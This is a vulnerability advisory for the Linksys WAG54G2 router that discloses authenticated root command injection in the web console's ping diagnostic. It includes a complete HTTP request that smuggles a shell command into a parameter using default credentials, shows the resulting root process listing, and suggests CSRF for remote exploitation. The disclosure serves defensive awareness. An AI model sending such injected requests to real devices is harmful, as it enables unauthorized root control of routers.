Linksys WAG54G2 Web Management Console Arbitrary Command Exec
=============================================================




1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces.

2. When logged into web management console, it is possible to execute commands as root (tested on firmware: V1.00.10).

3. PoC:

GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=

HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
  PID  Uid     VmSize Stat Command
    1 root        284 S   init       
    2 root            SWN [ksoftirqd/0]
    3 root            SW< [events/0]
    4 root            SW< [khelper]
    5 root            SW< [kthread]
...

4. Note that it is needed to supply valid user/password (Authorization HTTP header).

5. One could try to exploit this issue remotely (using CRSF) assuming that a victim did not change default password to the web management.

6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but still it remains unpatched).
